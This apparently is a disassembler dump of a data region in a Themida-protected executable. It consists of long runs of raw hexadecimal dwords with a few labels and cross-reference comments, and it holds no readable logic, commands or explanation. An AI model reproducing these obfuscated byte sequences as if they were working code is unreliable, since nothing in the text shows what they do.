		dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 4BF216C3h, 99CE1E09h, 0C1F68D53h,	0DE840F04h
		dd 0BE000000h, 6224C471h, 2D9195FFh, 6A07E4h, 3E856h
dword_5C8B28	dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
					; DATA XREF: Themida_:00583CB4o
		dd 89535AC3h, 0E4237D9Dh, 6A5B5E07h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0EF66C356h
		dd 61D5470Ch, 2B540192h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0AED16D4Fh, 61D49B9Eh
		dd 3DF56DE3h, 834h, 57860Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 850FB9C3h
		dd 6, 2C31BD8Bh, 31E907E4h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F04CC352h
		dd 958967DDh, 7E42465h,	57D860BFh, 0BFC08B4Bh, 67501B41h
		dd 0D88BC38Bh, 10E860h,	87A70000h, 0BAC08EAFh, 846B33AAh
		dd 0ABA67370h, 58F93996h, 0C0EA8166h, 85C761EDh, 7E41399h
		dd 1F39CF3Fh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	0DBC35646h, 0C08B16A8h,	0BD81FA8Bh, 7E42AD5h, 7D0h
		dd 30850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 160424h, 50400000h, 1DBD8AC3h, 31918D01h, 853107E4h
		dd 7E42165h, 2AD585FFh,	0B5FF07E4h, 7E42AD5h, 3840F60h
		dd 66000000h, 0CB8BC28Bh, 4195FF61h, 6A07E40Eh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 288C352h, 6692A19Ah,	7BA9D781h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0E71B250Dh
		dd 8AE3083Ch, 13E89Eh, 0C1410000h, 3EE04623h, 42C89BB2h
		dd 0D53E0D41h, 91C95AC2h, 60BE66E9h, 0BD895E3Bh, 7E4258Dh
		dd 197DB52Bh, 0B70F07E4h, 9BD8BF3h, 0E907E40Bh,	0Fh, 0CB6F128Ch
		dd 63770545h, 948FC1F5h, 0E81A2E02h, 0Dh, 0E04AE2F9h, 19A5D1D2h
		dd 9B5B8A8Eh, 758D89F3h, 0F07E424h, 0C8Ah, 59950900h, 8B07E42Ah
		dd 0E42319B5h, 8B665F07h, 57006AF8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 3641522h, 0E41C7DB5h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0CE81663Dh, 6A330Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 9BE513C3h
		dd 892C7495h, 3957BF66h, 0A1958B60h, 6007E421h,	14A5B589h
		dd 6E907E4h, 6000000h, 0DA2582DFh, 0CE96121h, 59000000h
		dd 6C64FC31h, 6D3BA0C1h, 61F5EF05h, 6870Fh, 0B58B0000h
		dd 7E415D9h, 0FFF6F4E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 1317C8B6h, 0FCBFA89Ah
		dd 0ED958B60h, 0B907E41Bh, 0FFFFFFFEh, 6820Fh, 0B5310000h
		dd 7E407D5h, 1999958Bh,	8D2107E4h, 7E43591h, 0BEC46EBBh
		dd 658D2134h, 6A07E409h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 3BE4C353h, 0F037CB91h
		dd 0C1D0A59Eh, 35918D8Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 7E7113C3h, 0E306DDC9h
		dd 858946E8h, 7E41B7Dh,	0F01E183h, 2585h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 1B78B48h, 77EA9987h,	8D8BD9DEh, 7E40965h, 1E183FCh
		dd 6850Fh, 0CE810000h, 7C6CF282h, 6A6061h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 853425C3h
		dd 84A50AF1h, 6ADBD29h,	816607E4h, 0B947C0DBh, 0FFFFFFFEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 76C35040h
		dd 6CB7907Ch, 0F5BD894Ah, 2107E42Dh, 0E41AC58Dh, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 66CF4993h, 215DD8BEh, 0E406FD8Dh, 958B5107h,	7E42B4Dh
		dd 25CA805Ah, 1AC58D8Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 48B4B9C3h, 0E3DBC3E2h
		dd 0F8A39D2Fh, 0F01E183h, 0B85h, 8DB58900h, 0B807E406h
		dd 179BCEEBh, 6FD8D8Bh,	0BF6607E4h, 0E183714Dh,	0B850F01h
		dd 0E9000000h, 6, 5BDB5BCAh, 6061E1EAh,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 50C35242h, 0D761808Ch
		dd 12E938h, 0C1720000h,	157E25EEh, 0B9188CC8h, 23CCE8B9h
		dd 0CF5C2823h, 0FFFFFEB9h, 88C0FFFh, 57000000h,	17F18D89h
		dd 215E07E4h, 0E405558Dh, 11E907h, 99940000h, 0D499129h
		dd 0F88E97B6h, 0EB9789F0h, 8B7E837Eh, 998D21DFh, 0BF07E413h
		dd 5EC71947h, 5558D8Bh,	6A07E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 66E1D5C3h, 0F084D681h
		dd 0F01E183h, 2485h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 81F73941h, 0DA8930D6h
		dd 998D8B0Ah, 6A07E413h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 1BEC353h, 0E41D25BDh
		dd 1E18307h, 1C850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 6061A0C3h, 1A59D89h
		dd 0FEB907E4h, 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 303BC350h, 8D219D99h
		dd 7E40B69h, 23DDB58Bh,	8D2107E4h, 7E42385h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 33C35242h, 0E9900E1Dh
		dd 0B58968DCh, 7E4278Dh, 0B698D8Bh, 5E807E4h, 91000000h
		dd 0DB84E4B2h, 0BE9h, 0EB6E8D00h, 0F1635387h, 456AE418h
		dd 0B5BD895Eh, 8307E41Ch, 850F01E1h, 24h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 0A8C35242h, 7BE0A9D7h
		dd 0D18B81B5h, 23858D8Bh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0CE9D3C3h, 89000000h
		dd 919B619Ch, 55FFBBABh, 8369E1F8h, 850F01E1h, 1, 6A6061F9h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0EE55C356h, 3FA7F371h, 0D585C7F8h, 0D007E42Ah
		dd 6A000007h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0A27C356h, 6A611EB5h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0E241C357h, 19C5950Bh, 0BD2307E4h, 7E43195h,	9D6107EBh
		dd 0E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0E54A2930h, 6A506Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E938B0C3h
		dd 75E9C18Bh, 60000000h, 0A8D88C66h, 35840F04h,	6A000000h
		dd 9DB5FF01h, 8D07E401h, 0E7B0A785h, 89D0FF07h,	0E40FA585h
		dd 0C1FE8B07h, 680CEFh,	6A200400h, 57026A00h, 1000D68h
		dd 0A595FF00h, 0E907E40Fh, 32h,	2C2D85C6h, 685607E4h, 0A9C530DFh
		dd 2141B5FFh, 858D07E4h, 7E7B0A7h, 8589D0FFh, 7E40B5Dh
		dd 1CE5858Dh, 6A5007E4h, 56056A20h
		dd 0B5D95FFh, 0C36107E4h, 0BA06E0C1h, 0F0115000h, 0EA81h
		dd 0C283F000h, 95958914h, 8307E41Bh, 858D14EAh,	7E86F4Eh
		dd 35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+Β%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 0DD8589C8h, 307E415h, 0B70F3C40h, 95890650h,	7E422E9h
		dd 8950508Bh, 0E41C5595h, 0F80507h, 508B0000h, 89D1030Ch
		dd 0E4092995h, 8500307h, 759589h, 8F6407E4h, 5,	4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 15DBD83h, 0F0007E4h,	2484h, 2D85C600h, 4707E42Ch, 9AA7D268h
		dd 41B5FFD4h, 8D07E421h, 0E7B0A785h, 6AD0FF07h,	89D0FF00h
		dd 0E4161585h, 60D38B07h, 3800F60h, 0F000000h, 8166F0BFh
		dd 61A3E6F6h, 8BFB8B66h, 50006AC0h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0AD707E06h, 0D003135h
		dd 55B58B07h, 0BE07E41Dh, 67DCB738h, 13F1BD83h,	750007E4h
		dd 35BD8309h, 7E409h, 53501974h, 38B8C08Bh, 89000004h
		dd 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h, 0E40935BDh
		dd 17740007h, 38B85350h, 89000004h, 0E4147985h,	0DF9D8D07h
		dd 0FF07E6E6h, 6A585BD3h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 2710C350h, 0B50B9105h
		dd 7E40411h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0D6C35343h, 7C91323Ah, 0E87F2F95h, 8BC08BFCh, 0E43585BDh
		dd 866E807h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 5FE744C3h, 0AFA6AFEFh, 0F558D77h
		dd 68Bh, 8DBD8B00h, 0F07E422h, 68Eh, 0B9BD2300h, 8B07E400h
		dd 0E42FE1B5h, 59858907h, 8907E40Ah, 0E40B9D8Dh, 812E807h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0F755ACC3h, 0B00BE280h, 11E97Bh, 0EFE20000h
		dd 0D18ABC08h, 0E0CEE74Dh, 655F3D36h, 89D9CCBEh, 0E406A585h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 66FCB674h, 32FEE181h, 7ABE8h, 89B96600h
		dd 118589B4h, 6A07E418h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0A350C350h,	0CDACD735h
		dd 0E8C759C5h, 778h, 341C681h, 858949E2h, 7E40919h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0CAC35242h, 0B479E519h
		dd 0FE01A88h, 684h, 29B58B00h, 0E807E41Ch, 738h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 54C35646h, 659D895Bh
		dd 107E41Eh, 0E414DDBDh, 89F78B07h, 0E422FD85h,	56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0DCE4A58h, 0DCE5FA75h, 6DEE804h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B1F70CC3h
		dd 0AA5B9B83h, 0F18B668Ah, 89FBBF0Fh, 0E4158185h, 5F506007h
		dd 0E8615A50h, 6A4h, 68F0Fh, 85890000h,	7E42009h, 1E158589h
		dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0E8F43CC3h, 0Fh, 0AEDBA021h, 77F1C840h, 0F670412Fh
		dd 6621A1FBh, 0E85FF18Bh, 658h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 35C35747h, 14428D92h, 0E4ED9185h
		dd 0AED8589h, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0E87B05C3h, 60Ch, 4B60BE66h, 2D58589h
		dd 10E907E4h, 0CE000000h, 6F24F55Ch, 6F8FA2EDh,	501D756Eh
		dd 0E8277426h, 5E8h, 14E8h, 0E5921D00h,	0A5825F24h, 12ECB50Ch
		dd 3CC75F8Fh, 0C2CC59E8h, 1810FEBh, 0F9000000h,	13E85Fh
		dd 6B040000h, 37227A7h,	8F515E1Dh, 0A14728A4h, 0E901D35h
		dd 19D896Dh, 5907E427h,	1D498589h, 0BF0F07E4h, 59AE8F1h
		dd 66600000h, 631DB81h,	4718589h, 896107E4h, 0E41E8D85h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0C3420220h, 0E8EE8A7Bh, 560h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C7C35141h, 7C8C66Ah
		dd 446DA8B8h, 9D29606Bh, 7E4093Dh, 68B0Fh, 0BD230000h
		dd 7E42AA5h, 91858961h,	8907E422h, 0E4009D85h, 2DB50107h
		dd 0E807E427h, 510h, 811AB966h,	1D5D8589h, 830F07E4h, 5
		dd 4DAC4EBFh, 4F6E80Ah,	95290000h, 7E42AEDh, 2BF18589h
		dd 0BE907E4h, 9F000000h, 0F191216Dh, 990C497Eh,	0D5E83C31h
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 8677C357h, 0E948896Bh,	0Fh, 8169C1C7h
		dd 0BECB9293h, 8099DD5Ah, 89D7F634h, 0E4063585h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0CC8A7923h, 6860FC5h, 8B000000h, 0E405798Dh,	0FAB70F07h
		dd 467E8h, 0C98D8B00h, 8907E421h, 0E40E1585h, 13E907h
		dd 0C5610000h, 7144C325h, 80A7FEC9h, 0F014CF32h, 75DEFB95h
		dd 2900B00Dh, 0E4014595h, 0D8B60F07h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 15C35343h, 7D69B573h, 0B2BE6641h
		dd 6BA49h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 9B8F2EC3h, 5800F6F7h, 66BDAAE4h
		dd 8B1AC1BEh, 0AE8C3h, 6CE10000h, 207A87CCh, 0EB251DE8h
		dd 0C15EF78Bh, 6A04E8h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0CCB5ECC3h, 27CF5B1Eh, 0E058D89h
		dd 0F76607E4h, 53006AE2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 20E41E7Fh, 58B12F32h
		dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 54E1DDC3h, 0FB40F795h, 0B150539Bh, 241C89D9h
		dd 0D2C98166h, 9195FF7Dh, 3107E42Dh, 0E4158D95h, 6A5B07h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0E60903C3h, 0BD89A678h, 7E42FF5h, 1C0D958Dh,	6A07E4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 2B1CCCC3h, 8936A1D6h, 0BD01501Ah, 7E422BDh, 442895Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h
		dd 87F8CB84h, 8B6625D6h, 49958DF0h, 6A07E403h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 8E34C352h, 89FCF17Fh, 0E43315BDh, 6A1A8907h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 375C357h, 68D0FCEh, 1000000h, 0E42D59B5h, 4428907h
		dd 8EE98166h, 0C5958DEFh, 6A07E425h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0A524C357h
		dd 1A893D3Eh, 89F98B66h, 6A0442h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0DBE790C3h, 95BD8B56h
		dd 5907E420h, 30498D2Bh, 958D07E4h, 7E42179h, 2A79B58Bh
		dd 1A8907E4h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	5BC35646h, 3C4DE441h, 0F5A263AEh, 2899529h, 428907E4h
		dd 3DBD8904h, 0E907E424h, 0Dh, 0ECDBEE1Fh, 3D39D7B8h, 0EA714778h
		dd 0D958D9Fh, 8B07E424h, 0E42B39BDh, 6A1A8907h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 5AEFC355h, 79798034h, 5DBD0190h, 8907E42Bh, 6A0442h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 45F6E2C3h, 518D8902h, 8B07E433h, 0E41E01BDh,	0C800F07h
		dd 0F000000h, 689h, 0ADBD8B00h,	8D07E42Ah, 0E40F2995h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 958921C4h, 7E40F19h, 0F1FCD7B9h,	6A1A893Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 471AC351h, 186A7943h, 2365BD8Bh, 428907E4h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0D18166D9h, 958D4D95h, 7E403F1h,	25ED8529h
		dd 1A8907E4h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	40C35646h, 6650D8FEh, 895EF88Bh, 6A0442h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 631886C3h, 0DC4C2564h, 8529A8FDh, 7E414FDh, 0AD958Dh
		dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0E72D8CC3h, 0A14473EEh, 57027214h, 0A1D9D89h
		dd 895F07E4h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 4289718Dh, 0A7C18104h, 0E97AE6A2h
		dd 0D3h, 0D6BF0F60h, 61CFB70Fh,	6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 4A351C3h
		dd 0E19B58Bh, 800F07E4h, 6, 1915B509h, 6A07E4h,	6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E9A4D1C3h, 6, 9B9F84E8h, 0CE96627h,	96000000h, 191AB31Dh
		dd 1AB4C3D5h, 6AA97B74h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0D124E793h, 0FF272987h
		dd 0E40E6D95h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 5C6DF03Ch, 318D09F9h
		dd 0C307E42Ch, 6E9h, 91CA5700h,	8A69A364h, 6DBEC5h, 0C08B282Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0CCC35747h
		dd 83FBB70Fh, 0E413F1BDh, 9750007h, 935BD83h, 740007E4h
		dd 8B535019h, 438B8C0h,	85890000h, 7E40EEDh, 0EA579D8Dh
		dd 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h,	438B853h
		dd 85890000h, 7E40EEDh,	0E6F89D8Dh, 0D3FF07E6h,	68B5585Bh
		dd 11E9h, 0E3B72D00h, 0AA785AEBh, 73ABE989h, 5D4089F3h
		dd 6ABF26h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 20A224C3h, 0F28B6200h
		db 8Bh,	0C0h
word_5C9EE6	dw 858Dh		; DATA XREF: Themida_:00583810o
		dd 7E40D85h, 32F5BD03h,	0BD8907E4h, 7E42EF1h, 6E850h, 1A280000h
		dd 184E9C00h, 2404895Bh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 6AC35545h, 70B58835h,	42058EDAh, 25CDBD8Bh
		dd 6A07E4h, 38C0Fh, 0D7800000h,	8B006A72h, 0E421759Dh
		dd 33858D07h, 2907E87Ch, 0E40BA995h, 5C08307h, 0E8B0Fh
		dd 1600000h, 0E421A18Dh, 4DBD0107h, 6107E42Bh, 8B665090h
		dd 6A90F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 72E251C3h, 68C0FF0h, 89000000h, 0E42F75BDh
		dd 33006A07h, 0E40EE19Dh, 6A006A07h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FF0DC352h
		dd 0E4247195h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 42CE39F6h, 0F98B6617h
		dd 0D64B8D8Dh, 0B58907E7h, 7E4046Dh, 6AD1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8D29D4C3h
		dd 7E41945h, 2015BD83h,	0F0107E4h, 9985h, 899D0900h, 6A07E408h
		dd 57006A02h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 19D8938h, 6607E430h, 0CDC2DB81h,	0BE990h
		dd 0BA4F0000h, 7D5B543Fh, 0ED3A33CBh, 6E950BFh,	19000000h
		dd 795630D2h, 6A9007h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 4E3A7AC3h, 0FFB61A4Eh, 0E431AD95h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 448706B9h, 167DBD33h, 0FFE907E4h, 0E800000Dh
		dd 0
aBaSJ		db ']ν=|θ',7,'j',0
		db 53h,	0E8h, 3
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0BC94C353h, 0FE99496h, 0F2000000h, 0AB80F677h, 7E0C58D8h
		dd 0CBB8403Eh, 6AE1ACh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0C5B161C3h, 9D8B4275h, 7E415D9h
		dd 0C6E1858Dh, 6A07E7h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 5F1802C3h, 40A3EDD6h, 6650B477h
		dd 489F98Bh, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 35BF46D8h, 6443930Bh, 35FFh, 9D890000h
		dd 7E405BDh, 2245BD8Bh,	896407E4h, 25h,	11E900h, 367C0000h
		dd 6D834331h, 4C73D6BDh, 8B5FA332h, 0FF4288ECh,	0E420B985h
		dd 85BD2907h, 6A07E41Ch, 2840FFFh, 0B3000000h, 59B5FF5Dh
		dd 6A07E40Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 88D5C351h, 15606CD5h, 0C080605Ah
		dd 68D0F2Bh, 0F000000h,	82h, 95FF6100h,	7E4304Dh, 149E9h
		dd 518D3100h, 0B007E422h, 9E800h, 731E0000h, 70186DF4h
		dd 0FC6D2527h, 8170E65Fh, 2A35E4D7h, 6671E47Dh,	613CDF8Bh
		dd 11C830Fh, 0BD230000h, 7E40745h, 8BC8B60Fh, 0E40E61BDh
		dd 0CDBD8907h, 0BA07E425h, 6, 2B5D8529h, 0C18B07E4h, 0A95D8DBBh
		dd 4E8C13Dh, 3CDBF66h, 0FE2F766h, 0C82BFBBFh, 8E8h, 0FFEA5100h
		dd 66C989CAh, 5FD88B4Ah, 5753D18Bh, 5BFE8B66h, 29B5895Bh
		dd 0E907E402h, 20h, 31B99D89h, 0FE807E4h, 79000000h, 1933E23h
		dd 1E6E764Bh, 0D2965205h, 57BB27F7h, 5F226D59h,	1C0D858Bh
		dd 9D8B07E4h, 7E403DDh,	6E8h, 74AEC700h, 0E971642Fh, 0Dh
		dd 4703BC4Fh, 0B77EB792h, 0C01BF07Ah, 0C0835F81h, 2D8D0107h
		dd 8307E427h, 9D2B00C0h, 7E40191h, 830FD03Bh, 1Dh, 840Fh
		dd 53E90000h, 0F000000h, 68Ch, 0E5EB8100h, 817BB0D7h, 7CC73CC7h
		dd 858D8B3Fh, 0F07E423h, 289h, 83D0B300h, 840F01E1h, 2Ah
		dd 2ABD9589h, 890F07E4h, 6, 1FCBCF81h, 0A5836F0Bh, 7E42385h
		dd 8D9D09FEh, 8907E414h, 0E41C0D95h, 0E907h, 0B58D0000h
		dd 7E80F99h, 8A0F6060h,	0
		dd 8061F38Ah, 6A612FE5h, 0AE900h, 0D1B10000h, 0F936D48Ah
		dd 0CB608250h, 0E4195FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8B603EC3h, 0E38166DAh
		dd 0B961D947h, 6FAh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0C3C35040h, 0CC6F5DABh, 8B0F4538h, 6
		dd 35858D89h, 0E18307E4h, 51006AFCh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0D98B66D0h
		dd 50006AFCh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0B8E524h, 8B000000h, 0E40035BDh,	0FD22B07h
		dd 33ADDEBFh, 3E8D1C2h,	4E983D0h, 13E9F475h, 0E000000h
		dd 5DD68F33h, 0A416FAECh, 6B7A28C1h, 1039D00Dh,	0DA8BCBFBh
		dd 880Dh, 31953100h, 8B07E40Eh,	0E41B7195h, 89B58907h
		dd 8B07E423h, 0E42DA18Dh, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 2FBC9BC6h
		dd 0C4FA4AFCh, 880FFFB8h, 14h, 0BE8h, 98305400h, 7927340Fh
		dd 0F1C57586h, 5B93D780h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 800F5818h, 4, 0AE26BB66h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 0CEC35040h, 5B43C9CCh
		dd 0B3DF36B2h, 11BD835Ah, 7E406h, 19840Fh, 0B80000h, 89000000h
		dd 0E415B19Dh, 0E78D8D07h, 8B07E44Fh, 0E405259Dh, 83E1FF07h
		dd 0E422B9BDh, 840F0007h, 4F4h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0E9C35646h,	81667FACh, 831A62CBh
		dd 0E422B9BDh, 840F0107h, 4DFh,	0BD83DF8Bh, 7E422B9h, 9A860F03h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0E02CC355h, 9161F2E4h,	99D3360h
		dd 0E807E41Bh, 7, 0E6F37AE0h, 660DD3B2h, 6159F28Bh, 55006A60h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 813814B7h, 441499CBh, 0D88B6637h, 6AD98C66h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 664BC350h, 92F7E781h, 6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0A26C356h
		dd 8D840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 11FC355h, 0C8B9595Fh
		dd 858BD88Bh, 7E40651h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 29C35343h, 77DCFE5Ch,	0DDE58530h, 0AE9h
		dd 96231100h, 86F476A1h, 3307AD9Ah, 0E4202985h,	0E7EF8107h
		dd 504A1EE0h, 489F98Ah,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 9A9D24F3h, 9576C92h, 0E41A11B5h
		dd 6AF807h, 2175BD89h, 0E95207E4h, 9, 6AD8FD4Ch, 9BA0E1F1h
		dd 0B3685BC6h, 0F2E640Fh, 148Fh, 0FE900h, 0ECE40000h, 0DD7C1913h
		dd 228F3F1Bh, 14ADA95Ah, 2434819Eh, 2E7B0C4Ch, 0E851006Ah
